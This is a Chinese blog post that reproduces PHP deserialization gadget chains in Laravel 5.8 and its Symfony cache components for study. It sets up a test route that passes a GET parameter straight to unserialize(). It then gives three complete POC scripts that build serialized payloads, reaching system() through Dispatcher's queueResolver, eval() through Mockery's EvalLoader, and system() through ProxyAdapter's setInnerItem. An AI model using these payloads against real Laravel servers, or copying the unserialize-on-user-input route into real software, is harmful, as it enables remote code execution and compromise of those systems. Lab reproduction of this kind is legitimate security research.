前言
上一篇文章复现了一下laravel5.7的反序列化,这篇复现一下5.8的反序列化。还是github上下载源码:
laravel5.8
往composer.json的require里面加上"symfony/symfony": “4.*”,然后composer update。
如果提示 Allowed memory size of bytes exhausted,参考这篇文章:
运行 composer update,提示 Allowed memory size of bytes exhausted
然后还是写route.php里面路由,再创建个控制器:
Route::get('/unserialize',"UnserializeController@uns");
<?php
namespace App\Http\Controllers;
class UnserializeController extends Controller
{
public function uns(){
if(isset($_GET['c'])){
unserialize($_GET['c']);
}else{
highlight_file(__FILE__);
}
return "uns";
}
}
不过我这laravel的源码感觉有些问题。。。这显示的laravel的版本就是5.8,但是5.7的那个反序列化的链还是可以打,去网上查了一下,5.8的PendingCommand.php的__destruct()改了,但是我这里的laravel5.8的PendingCommand.php还是和5.7一样的,所以我这的源码似乎有些问题?。。不过先审着,出现了问题再想办法。
POC1
__destruct
是万恶之源,这次的__destruct
是PendingBroadcast.php的__destruct()
:
比较典型了,$this->events
和$this->event
都可控,先全局搜索一下单参数的dispatch函数,看看有没有哪个类的dispatch可以利用,没有的话就只能去找__call了:
function dispatch\(\$\w+\)
经过搜索,发现Dispatcher类的dispatch()
很好用:
跟进一下dispatchToQueue()
方法:
/**
* Dispatch a command to its appropriate handler behind a queue.
*
* @param mixed $command
* @return mixed
*
* @throws \RuntimeException
*/
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
if (! $queue instanceof Queue) {
throw new RuntimeException('Queue resolver did not return a Queue implementation.');
}
if (method_exists($command, 'queue')) {
return $command->queue($queue, $command);
}
return $this->pushCommandToQueue($queue, $command);
}
看到了call_user_func
,想办法去利用就完事了。
首先是dispatch()
方法的if,$this->queueResolver
可控,而且这个就是回调函数名。
跟进一下commandShouldBeQueued()
:
需要$command
是一个实现了ShouldQueue接口的对象,全局搜索一下,还挺多的,随便找一个用就可以了,这里我用的是QueuedCommand
类。这样就if判断成功,进入dispatchToQueue()
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
$connection
是参数同样可控,因此自此反序列化链也就理清了,写一下POC:
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection="dir";
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver="system";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
执行成功,不过因为这个:
if (! $queue instanceof Queue) {
throw new RuntimeException('Queue resolver did not return a Queue implementation.');
}
仍然会抛出异常,但是命令执行的回显还是有的。
调用任意类的方法
既然可以调用任何的函数,参数也可控,可以尝试以下寻找可用的类的方法。全局搜索eval,发现EvalLoader类的load方法:
$definition
是MockDefinition
类的实例,跟进getCode():
code
可控,再看以下能不能绕过if条件,跟进以下getClassName()
:
$this->config
是可控的,跟进以下getName()
方法:
全都可控,所以这里可以eval执行代码,构造以下POC:
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
use Mockery\Generator\MockDefinition;
class QueuedCommand
{
public $connection;
public function __construct(){
$this->connection=new MockDefinition();
}
}
}
namespace Illuminate\Bus{
use Mockery\Loader\EvalLoader;
class Dispatcher
{
protected $queueResolver;
public function __construct(){
$this->queueResolver=[new EvalLoader(),'load'];
}
}
}
namespace Mockery\Loader{
class EvalLoader
{
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct()
{
$this->code="<?php phpinfo();exit()?>";
$this->config=new MockConfiguration();
}
}
class MockConfiguration
{
protected $name="feng";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
这个POC就更加舒服了,因为利用的是eval,可以任意执行代码,不仅仅局限于单参数的函数了。而且注意这个:$this->code="<?php phpinfo();exit()?>";
加上了exit()
,提前结束了进程,这样调用完call_user_func
,后面的代码就不会执行,也就不会抛出异常了,更加好了。
POC2
这条链laravel默认是没有的,存在于symfony组件中,之前进行的操作:
往composer.json的require里面加上"symfony/symfony": “4.*”,然后composer update。
就安装了这个组件了。
起点在TagAwareAdapter类的__destruct()
方法中,不过我一看怎么上面还有个__wakeup
:
可能是symfony版本的问题?为了复现,先把这个__wakeup()
删掉。
跟进一下commit()
:
再跟进一下invalidateTags()
:
/**
* {@inheritdoc}
*/
public function invalidateTags(array $tags)
{
$ok = true;
$tagsByKey = [];
$invalidatedTags = [];
foreach ($tags as $tag) {
CacheItem::validateKey($tag);
$invalidatedTags[$tag] = 0;
}
if ($this->deferred) {
$items = $this->deferred;
foreach ($items as $key => $item) {
if (!$this->pool->saveDeferred($item)) {
unset($this->deferred[$key]);
$ok = false;
}
}
$f = $this->getTagsByKey;
$tagsByKey = $f($items);
$this->deferred = [];
}
$tagVersions = $this->getTagVersions($tagsByKey, $invalidatedTags);
$f = $this->createCacheItem;
foreach ($tagsByKey as $key => $tags) {
$this->pool->saveDeferred($f(static::TAGS_PREFIX.$key, array_intersect_key($tagVersions, $tags), $items[$key]));
}
$ok = $this->pool->commit() && $ok;
if ($invalidatedTags) {
$f = $this->invalidateTags;
$ok = $f($this->tags, $invalidatedTags) && $ok;
}
return $ok;
}
注意到$this->deferred
可控:
$items = $this->deferred;
foreach ($items as $key => $item) {
if (!$this->pool->saveDeferred($item)) {
unset($this->deferred[$key]);
$ok = false;
}
}
找了以下$this->pool
,发现它是在__construct()
里出现的,类似于这样:
<?php
class test
{
public $a;
public $b;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
}
$a=new test();
var_dump($a);
动态的声明了属性。考虑到这里pool可以随意声明,那么找一个合适的类,它的saveDeferred方法可以利用。
经过寻找,发现ProxyAdapter
类的saveDeferred可以利用:
跟进doSave()
:
private function doSave(CacheItemInterface $item, string $method)
{
if (!$item instanceof CacheItem) {
return false;
}
$item = (array) $item;
if (null === $item["\0*\0expiry"] && 0 < $this->defaultLifetime) {
$item["\0*\0expiry"] = microtime(true) + $this->defaultLifetime;
}
if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"]) {
$innerItem = $item["\0*\0innerItem"];
} elseif ($this->pool instanceof AdapterInterface) {
// this is an optimization specific for AdapterInterface implementations
// so we can save a round-trip to the backend by just creating a new item
$f = $this->createCacheItem;
$innerItem = $f($this->namespace.$item["\0*\0key"], null);
} else {
$innerItem = $this->pool->getItem($this->namespace.$item["\0*\0key"]);
}
($this->setInnerItem)($innerItem, $item);
return $this->pool->$method($innerItem);
}
利用点就在这里:
($this->setInnerItem)($innerItem, $item);
相当于使用一个双参数的函数,而system正好最多是2个参数:
审一下这个doSave()
函数,首先$item
必须是CacheItem类的实例,因为$item
可控,所以可以做到。
然后把$item
强制转换为了数组,注意到$this->setInnerItem
和上面的代码没有关系,是直接可控的。而$innerItem
则可以这么得到:
if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"]) {
$innerItem = $item["\0*\0innerItem"];
}
"\0*\0poolHash"
会想到类中的protected属性,因为$item
可控,$this->poolHash
也可控,所以$innerItem
也可控,所以最终的函数名和第一个参数都可控,可以执行system函数。
构造一下POC:
<?php
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class TagAwareAdapter
{
private $deferred;
public function __construct(){
$this->pool=new ProxyAdapter();
$this->deferred=array(
'feng'=>new CacheItem()
);
}
}
}
namespace Symfony\Component\Cache{
final class CacheItem{
protected $poolHash="1";
protected $innerItem="dir";
}
}
namespace Symfony\Component\Cache\Adapter{
class ProxyAdapter
{
private $poolHash="1";
private $setInnerItem="system";
}
}
namespace{
use Symfony\Component\Cache\Adapter\TagAwareAdapter;
echo urlencode(serialize(new TagAwareAdapter()));
}
不过仍然会抛出异常,f12看一下执行结果:
还是执行成功了的。
总结
复现了一下laravel5.8的2个反序列化链,深刻感觉到了__destruct
永远是反序列化漏洞的最佳攻击点。还有有效函数的寻找,也是自己需要学习的。